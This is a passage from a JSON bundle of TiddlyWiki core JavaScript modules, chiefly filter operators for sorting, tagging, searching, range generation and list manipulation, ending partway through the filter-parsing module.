            "title": "$:/core/modules/filters/previous.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/previous.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddler whose title occurs immediately prior in the list supplied in the operand tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.previous = function(source,operator,options) {\n\tvar results = [],\n\t\tlist = options.wiki.getTiddlerList(operator.operand);\n\tsource(function(tiddler,title) {\n\t\tvar match = list.indexOf(title);\n\t\t// increment match and then test if result is in range\n\t\tmatch--;\n\t\tif(match >= 0) {\n\t\t\tresults.push(list[match]);\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/range.js": {
            "title": "$:/core/modules/filters/range.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/range.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for generating a numeric range.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.range = function(source,operator,options) {\n\tvar results = [];\n\t// Split the operand into numbers delimited by these symbols\n\tvar parts = operator.operand.split(/[,:;]/g),\n\t\tbeg, end, inc, i, fixed = 0;\n\tfor (i=0; i<parts.length; i++) {\n\t\t// Validate real number\n\t\tif(!/^\\s*[+-]?((\\d+(\\.\\d*)?)|(\\.\\d+))\\s*$/.test(parts[i])) {\n\t\t\treturn [\"range: bad number \\\"\" + parts[i] + \"\\\"\"];\n\t\t}\n\t\t// Count digits; the most precise number determines decimal places in output.\n\t\tvar frac = /\\.\\d+/.exec(parts[i]);\n\t\tif(frac) {\n\t\t\tfixed = Math.max(fixed,frac[0].length-1);\n\t\t}\n\t\tparts[i] = parseFloat(parts[i]);\n\t}\n\tswitch(parts.length) {\n\t\tcase 1:\n\t\t\tend = parts[0];\n\t\t\tif (end >= 1) {\n\t\t\t\tbeg = 1;\n\t\t\t}\n\t\t\telse if (end <= -1) {\n\t\t\t\tbeg = -1;\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn [];\n\t\t\t}\n\t\t\tinc = 1;\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tbeg = parts[0];\n\t\t\tend = parts[1];\n\t\t\tinc = 1;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tbeg = parts[0];\n\t\t\tend = parts[1];\n\t\t\tinc = Math.abs(parts[2]);\n\t\t\tbreak;\n\t}\n\tif(inc === 0) {\n\t\treturn [\"range: increment 0 causes infinite loop\"];\n\t}\n\t// May need to count backwards\n\tvar direction = ((end < beg) ? -1 : 1);\n\tinc *= direction;\n\t// Estimate number of resulting elements\n\tif((end - beg) / inc > 10000) {\n\t\treturn [\"range: too many steps (over 10K)\"];\n\t}\n\t// Avoid rounding error on last step\n\tend += direction * 0.5 * Math.pow(0.1,fixed);\n\tvar safety = 10010;\n\t// Enumerate the range\n\tif (end<beg) {\n\t\tfor(i=beg; i>end; i+=inc) {\n\t\t\tresults.push(i.toFixed(fixed));\n\t\t\tif(--safety<0) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor(i=beg; i<end; i+=inc) {\n\t\t\tresults.push(i.toFixed(fixed));\n\t\t\tif(--safety<0) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tif(safety<0) {\n\t\treturn [\"range: unexpectedly large output\"];\n\t}\n\t// Reverse?\n\tif(operator.prefix === \"!\") {\n\t\tresults.reverse();\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/regexp.js": {
            "title": "$:/core/modules/filters/regexp.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/regexp.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for regexp matching\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.regexp = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldname = (operator.suffix || \"title\").toLowerCase(),\n\t\tregexpString, regexp, flags = \"\", match,\n\t\tgetFieldString = function(tiddler,title) {\n\t\t\tif(tiddler) {\n\t\t\t\treturn tiddler.getFieldString(fieldname);\n\t\t\t} else if(fieldname === \"title\") {\n\t\t\t\treturn title;\n\t\t\t} else {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t};\n\t// Process flags and construct regexp\n\tregexpString = operator.operand;\n\tmatch = /^\\(\\?([gim]+)\\)/.exec(regexpString);\n\tif(match) {\n\t\tflags = match[1];\n\t\tregexpString = regexpString.substr(match[0].length);\n\t} else {\n\t\tmatch = /\\(\\?([gim]+)\\)$/.exec(regexpString);\n\t\tif(match) {\n\t\t\tflags = match[1];\n\t\t\tregexpString = regexpString.substr(0,regexpString.length - match[0].length);\n\t\t}\n\t}\n\ttry {\n\t\tregexp = new RegExp(regexpString,flags);\n\t} catch(e) {\n\t\treturn [\"\" + e];\n\t}\n\t// Process the incoming tiddlers\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tvar text = getFieldString(tiddler,title);\n\t\t\tif(text !== null) {\n\t\t\t\tif(!regexp.exec(text)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tvar text = getFieldString(tiddler,title);\n\t\t\tif(text !== null) {\n\t\t\t\tif(!!regexp.exec(text)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/removeprefix.js": {
            "title": "$:/core/modules/filters/removeprefix.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/removeprefix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for removing a prefix from each title in the list. Titles that do not start with the prefix are removed.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.removeprefix = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tif(title.substr(0,operator.operand.length) === operator.operand) {\n\t\t\tresults.push(title.substr(operator.operand.length));\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/removesuffix.js": {
            "title": "$:/core/modules/filters/removesuffix.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/removesuffix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for removing a suffix from each title in the list. Titles that do not end with the suffix are removed.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.removesuffix = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tif(title.substr(-operator.operand.length) === operator.operand) {\n\t\t\tresults.push(title.substr(0,title.length - operator.operand.length));\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/sameday.js": {
            "title": "$:/core/modules/filters/sameday.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/sameday.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that selects tiddlers with a modified date field on the same day as the provided value.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.sameday = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldName = operator.suffix || \"modified\",\n\t\ttargetDate = (new Date($tw.utils.parseDate(operator.operand))).setHours(0,0,0,0);\n\t// Function to convert a date/time to a date integer\n\tsource(function(tiddler,title) {\n\t\tif(tiddler) {\n\t\t\tif(tiddler.getFieldDay(fieldName) === targetDate) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/search.js": {
            "title": "$:/core/modules/filters/search.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/search.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for searching for the text in the operand tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.search = function(source,operator,options) {\n\tvar invert = operator.prefix === \"!\";\n\tif(operator.suffixes) {\n\t\tvar hasFlag = function(flag) {\n\t\t\t\treturn (operator.suffixes[1] || []).indexOf(flag) !== -1;\n\t\t\t},\n\t\t\texcludeFields = false,\n\t\t\tfieldList = operator.suffixes[0] || [],\n\t\t\tfirstField = fieldList[0] || \"\", \n\t\t\tfirstChar = firstField.charAt(0),\n\t\t\tfields;\n\t\tif(firstChar === \"-\") {\n\t\t\tfields = [firstField.slice(1)].concat(fieldList.slice(1));\n\t\t\texcludeFields = true;\n\t\t} else if(fieldList[0] === \"*\"){\n\t\t\tfields = [];\n\t\t\texcludeFields = true;\n\t\t} else {\n\t\t\tfields = fieldList.slice(0);\n\t\t}\n\t\treturn options.wiki.search(operator.operand,{\n\t\t\tsource: source,\n\t\t\tinvert: invert,\n\t\t\tfield: fields,\n\t\t\texcludeField: excludeFields,\n\t\t\tcaseSensitive: hasFlag(\"casesensitive\"),\n\t\t\tliteral: hasFlag(\"literal\"),\n\t\t\twhitespace: hasFlag(\"whitespace\"),\n\t\t\tregexp: hasFlag(\"regexp\"),\n\t\t\twords: hasFlag(\"words\")\n\t\t});\n\t} else {\n\t\treturn options.wiki.search(operator.operand,{\n\t\t\tsource: source,\n\t\t\tinvert: invert\n\t\t});\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/shadowsource.js": {
            "title": "$:/core/modules/filters/shadowsource.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/shadowsource.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the source plugins for shadow tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.shadowsource = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar source = options.wiki.getShadowSource(title);\n\t\tif(source) {\n\t\t\t$tw.utils.pushTop(results,source);\n\t\t}\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/sort.js": {
            "title": "$:/core/modules/filters/sort.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/sort.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for sorting\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.sort = function(source,operator,options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results,operator.operand || \"title\",operator.prefix === \"!\",false,false);\n\treturn results;\n};\n\nexports.nsort = function(source,operator,options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results,operator.operand || \"title\",operator.prefix === \"!\",false,true);\n\treturn results;\n};\n\nexports.sortan = function(source, operator, options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results, operator.operand || \"title\", operator.prefix === \"!\",false,false,true);\n\treturn results;\n};\n\nexports.sortcs = function(source,operator,options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results,operator.operand || \"title\",operator.prefix === \"!\",true,false);\n\treturn results;\n};\n\nexports.nsortcs = function(source,operator,options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results,operator.operand || \"title\",operator.prefix === \"!\",true,true);\n\treturn results;\n};\n\nvar prepare_results = function (source) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/splitbefore.js": {
            "title": "$:/core/modules/filters/splitbefore.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/splitbefore.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that splits each result on the first occurance of the specified separator and returns the unique values.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.splitbefore = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar parts = title.split(operator.operand);\n\t\tif(parts.length === 1) {\n\t\t\t$tw.utils.pushTop(results,parts[0]);\n\t\t} else {\n\t\t\t$tw.utils.pushTop(results,parts[0] + operator.operand);\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/storyviews.js": {
            "title": "$:/core/modules/filters/storyviews.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/storyviews.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the story views in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.storyviews = function(source,operator,options) {\n\tvar results = [],\n\t\tstoryviews = {};\n\t$tw.modules.applyMethods(\"storyview\",storyviews);\n\t$tw.utils.each(storyviews,function(info,name) {\n\t\tresults.push(name);\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/subfilter.js": {
            "title": "$:/core/modules/filters/subfilter.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/subfilter.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning its operand evaluated as a filter\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.subfilter = function(source,operator,options) {\n\tvar list = options.wiki.filterTiddlers(operator.operand,options.widget,source);\n\tif(operator.prefix === \"!\") {\n\t\tvar results = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tif(list.indexOf(title) === -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t\treturn results;\n\t} else {\n\t\treturn list;\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/subtiddlerfields.js": {
            "title": "$:/core/modules/filters/subtiddlerfields.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/subtiddlerfields.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the fields on the selected subtiddlers of the plugin named in the operand\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.subtiddlerfields = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar subtiddler = options.wiki.getSubTiddler(operator.operand,title);\n\t\tif(subtiddler) {\n\t\t\tfor(var fieldName in subtiddler.fields) {\n\t\t\t\t$tw.utils.pushTop(results,fieldName);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/suffix.js": {
            "title": "$:/core/modules/filters/suffix.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/suffix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking if a title ends with a suffix\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.suffix = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title.substr(-operator.operand.length) !== operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title.substr(-operator.operand.length) === operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/tag.js": {
            "title": "$:/core/modules/filters/tag.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/tag.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking for the presence of a tag\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tag = function(source,operator,options) {\n\tvar results = [];\n\tif((operator.suffix || \"\").toLowerCase() === \"strict\" && !operator.operand) {\n\t\t// New semantics:\n\t\t// Always return copy of input if operator.operand is missing\n\t\tsource(function(tiddler,title) {\n\t\t\tresults.push(title);\n\t\t});\n\t} else {\n\t\t// Old semantics:\n\t\tvar tiddlers = options.wiki.getTiddlersWithTag(operator.operand);\n\t\tif(operator.prefix === \"!\") {\n\t\t\t// Returns a copy of the input if operator.operand is missing\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddlers.indexOf(title) === -1) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\t// Returns empty results if operator.operand is missing\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddlers.indexOf(title) !== -1) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t\tresults = options.wiki.sortByList(results,operator.operand);\n\t\t}\t\t\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/tagging.js": {
            "title": "$:/core/modules/filters/tagging.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/tagging.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning all tiddlers that are tagged with the selected tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tagging = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.pushTop(results,options.wiki.getTiddlersWithTag(title));\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/tags.js": {
            "title": "$:/core/modules/filters/tags.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/tags.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning all the tags of the selected tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tags = function(source,operator,options) {\n\tvar tags = {};\n\tsource(function(tiddler,title) {\n\t\tvar t, length;\n\t\tif(tiddler && tiddler.fields.tags) {\n\t\t\tfor(t=0, length=tiddler.fields.tags.length; t<length; t++) {\n\t\t\t\ttags[tiddler.fields.tags[t]] = true;\n\t\t\t}\n\t\t}\n\t});\n\treturn Object.keys(tags);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/title.js": {
            "title": "$:/core/modules/filters/title.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/title.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for comparing title fields for equality\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.title = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler && tiddler.fields.title !== operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tresults.push(operator.operand);\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/untagged.js": {
            "title": "$:/core/modules/filters/untagged.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/untagged.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning all the selected tiddlers that are untagged\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.untagged = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler && $tw.utils.isArray(tiddler.fields.tags) && tiddler.fields.tags.length > 0) {\n\t\t\t\t$tw.utils.pushTop(results,title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!tiddler || !tiddler.hasField(\"tags\") || ($tw.utils.isArray(tiddler.fields.tags) && tiddler.fields.tags.length === 0)) {\n\t\t\t\t$tw.utils.pushTop(results,title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/wikiparserrules.js": {
            "title": "$:/core/modules/filters/wikiparserrules.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/wikiparserrules.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the wiki parser rules in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.wikiparserrules = function(source,operator,options) {\n\tvar results = [],\n\t\toperand = operator.operand;\n\t$tw.utils.each($tw.modules.types.wikirule,function(mod) {\n\t\tvar exp = mod.exports;\n\t\tif(!operand || exp.types[operand]) {\n\t\t\tresults.push(exp.name);\n\t\t}\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/x-listops.js": {
            "title": "$:/core/modules/filters/x-listops.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/x-listops.js\ntype: application/javascript\nmodule-type: filteroperator\n\nExtended filter operators to manipulate the current list.\n\n\\*/\n(function () {\n\n    /*jslint node: true, browser: true */\n    /*global $tw: false */\n    \"use strict\";\n\n    /*\n    Fetch titles from the current list\n    */\n    var prepare_results = function (source) {\n    var results = [];\n        source(function (tiddler, title) {\n            results.push(title);\n        });\n        return results;\n    };\n\n    /*\n    Moves a number of items from the tail of the current list before the item named in the operand\n    */\n    exports.putbefore = function (source, operator) {\n        var results = prepare_results(source),\n            index = results.indexOf(operator.operand),\n            count = $tw.utils.getInt(operator.suffix,1);\n        return (index === -1) ?\n            results.slice(0, -1) :\n            results.slice(0, index).concat(results.slice(-count)).concat(results.slice(index, -count));\n    };\n\n    /*\n    Moves a number of items from the tail of the current list after the item named in the operand\n    */\n    exports.putafter = function (source, operator) {\n        var results = prepare_results(source),\n            index = results.indexOf(operator.operand),\n            count = $tw.utils.getInt(operator.suffix,1);\n        return (index === -1) ?\n            results.slice(0, -1) :\n            results.slice(0, index + 1).concat(results.slice(-count)).concat(results.slice(index + 1, -count));\n    };\n\n    /*\n    Replaces the item named in the operand with a number of items from the tail of the current list\n    */\n    exports.replace = function (source, operator) {\n        var results = prepare_results(source),\n            index = results.indexOf(operator.operand),\n            count = $tw.utils.getInt(operator.suffix,1);\n        return (index === -1) ?\n            results.slice(0, -count) :\n            results.slice(0, index).concat(results.slice(-count)).concat(results.slice(index + 1, -count));\n    };\n\n    /*\n    Moves a number of items from the tail of the current list to the head of the list\n    */\n    exports.putfirst = function (source, operator) {\n        var results = prepare_results(source),\n            count = $tw.utils.getInt(operator.suffix,1);\n        return results.slice(-count).concat(results.slice(0, -count));\n    };\n\n    /*\n    Moves a number of items from the head of the current list to the tail of the list\n    */\n    exports.putlast = function (source, operator) {\n        var results = prepare_results(source),\n            count = $tw.utils.getInt(operator.suffix,1);\n        return results.slice(count).concat(results.slice(0, count));\n    };\n\n    /*\n    Moves the item named in the operand a number of places forward or backward in the list\n    */\n    exports.move = function (source, operator) {\n        var results = prepare_results(source),\n            index = results.indexOf(operator.operand),\n            count = $tw.utils.getInt(operator.suffix,1),\n            marker = results.splice(index, 1),\n            offset =  (index + count) > 0 ? index + count : 0;\n        return results.slice(0, offset).concat(marker).concat(results.slice(offset));\n    };\n\n    /*\n    Returns the items from the current list that are after the item named in the operand\n    */\n    exports.allafter = function (source, operator) {\n        var results = prepare_results(source),\n            index = results.indexOf(operator.operand);\n        return (index === -1 || index > (results.length - 2)) ? [] :\n            (operator.suffix) ? results.slice(index) :\n            results.slice(index + 1);\n    };\n\n    /*\n    Returns the items from the current list that are before the item named in the operand\n    */\n    exports.allbefore = function (source, operator) {\n        var results = prepare_results(source),\n            index = results.indexOf(operator.operand);\n        return (index < 0) ? [] :\n            (operator.suffix) ? results.slice(0, index + 1) :\n            results.slice(0, index);\n    };\n\n    /*\n    Appends the items listed in the operand array to the tail of the current list\n    */\n    exports.append = function (source, operator) {\n        var append = $tw.utils.parseStringArray(operator.operand, \"true\"),\n            results = prepare_results(source),\n            count = parseInt(operator.suffix) || append.length;\n        return (append.length === 0) ? results :\n            (operator.prefix) ? results.concat(append.slice(-count)) :\n            results.concat(append.slice(0, count));\n    };\n\n    /*\n    Prepends the items listed in the operand array to the head of the current list\n    */\n    exports.prepend = function (source, operator) {\n        var prepend = $tw.utils.parseStringArray(operator.operand, \"true\"),\n            results = prepare_results(source),\n            count = $tw.utils.getInt(operator.suffix,prepend.length);\n        return (prepend.length === 0) ? results :\n            (operator.prefix) ? prepend.slice(-count).concat(results) :\n            prepend.slice(0, count).concat(results);\n    };\n\n    /*\n    Returns all items from the current list except the items listed in the operand array\n    */\n    exports.remove = function (source, operator) {\n        var array = $tw.utils.parseStringArray(operator.operand, \"true\"),\n            results = prepare_results(source),\n            count = parseInt(operator.suffix) || array.length,\n            p,\n            len,\n            index;\n        len = array.length - 1;\n        for (p = 0; p < count; ++p) {\n            if (operator.prefix) {\n                index = results.indexOf(array[len - p]);\n            } else {\n                index = results.indexOf(array[p]);\n            }\n            if (index !== -1) {\n                results.splice(index, 1);\n            }\n        }\n        return results;\n    };\n\n    /*\n    Returns all items from the current list sorted in the order of the items in the operand array\n    */\n    exports.sortby = function (source, operator) {\n        var results = prepare_results(source);\n        if (!results || results.length < 2) {\n            return results;\n        }\n        var lookup = $tw.utils.parseStringArray(operator.operand, \"true\");\n        results.sort(function (a, b) {\n            return lookup.indexOf(a) - lookup.indexOf(b);\n        });\n        return results;\n    };\n\n    /*\n    Removes all duplicate items from the current list\n    */\n    exports.unique = function (source, operator) {\n        var results = prepare_results(source);\n        var set = results.reduce(function (a, b) {\n            if (a.indexOf(b) < 0) {\n                a.push(b);\n            }\n            return a;\n        }, []);\n        return set;\n    };\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters.js": {
            "title": "$:/core/modules/filters.js",
            "text": "/*\\\ntitle: $:/core/modules/filters.js\ntype: application/javascript\nmodule-type: wikimethod\n\nAdds tiddler filtering methods to the $tw.Wiki object.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nParses an operation (i.e. a run) within a filter string\n\toperators: Array of array of operator nodes into which results should be inserted\n\tfilterString: filter string\n\tp: start position within the string\nReturns the new start position, after the parsed operation\n*/\nfunction parseFilterOperation(operators,filterString,p) {\n\tvar nextBracketPos, operator;\n\t// Skip the starting square bracket\n\tif(filterString.charAt(p++) !== \"[\") {\n\t\tthrow \"Missing [ in filter expression\";\n\t}\n\t// Process each operator in turn\n\tdo {\n\t\toperator = {};\n\t\t// Check for an operator prefix\n\t\tif(filterString.charAt(p) === \"!\") {\n\t\t\toperator.prefix = filterString.charAt(p++);\n\t\t}\n\t\t// Get the operator name\n\t\tnextBracketPos = filterString.substring(p).search(/[\\[\\{<\\/]/);\n\t\tif(nextBracketPos === -1) {\n\t\t\tthrow \"Missing [ in filter expression\";\n\t\t}\n\t\tnextBracketPos += p;\n\t\tvar bracket = filterString.charAt(nextBracketPos);\n\t\toperator.operator = filterString.substring(p,nextBracketPos);\n\t\t// Any suffix?\n\t\tvar colon = operator.operator.indexOf(':');\n\t\tif(colon > -1) {\n\t\t\t// The raw suffix for older filters\n\t\t\toperator.suffix = operator.operator.substring(colon + 1);\n\t\t\toperator.operator = operator.operator.substring(0,colon) || \"field\";\n\t\t\t// The processed suffix for newer filters\n\t\t\toperator.suffixes = [];\n\t\t\t$tw.utils.each(operator.suffix.split(\":\"),function(subsuffix) {\n\t\t\t\toperator.suffixes.push([]);\n\t\t\t\t$tw.utils.each(subsuffix.split(\",\"),function(entry) {\n\t\t\t\t\tentry = $tw.utils.trim(entry);\n\t\t\t\t\tif(entry) {\n\t\t\t\t\t\toperator.suffixes[operator.suffixes.length - 1].push(entry); \n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t});\n\t\t}\n\t\t// Empty operator means: title\n\t\telse if(operator.operator === \"\") {\n\t\t\toperator.operator = \"title\";\n\t\t}\n\n\t\tp = nextBracketPos + 1;\n\t\tswitch (bracket) {\n\t\t\tcase \"{\": // Curly brackets\n\t\t\t\toperator.indirect = true;\n\t\t\t\tnextBracketPos = 